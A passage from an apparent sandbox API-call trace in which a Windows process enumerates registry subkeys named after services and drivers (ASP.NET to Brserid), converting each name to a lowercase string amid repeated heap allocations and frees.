RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0259.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0259.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0259.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.801] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.802] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0259.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 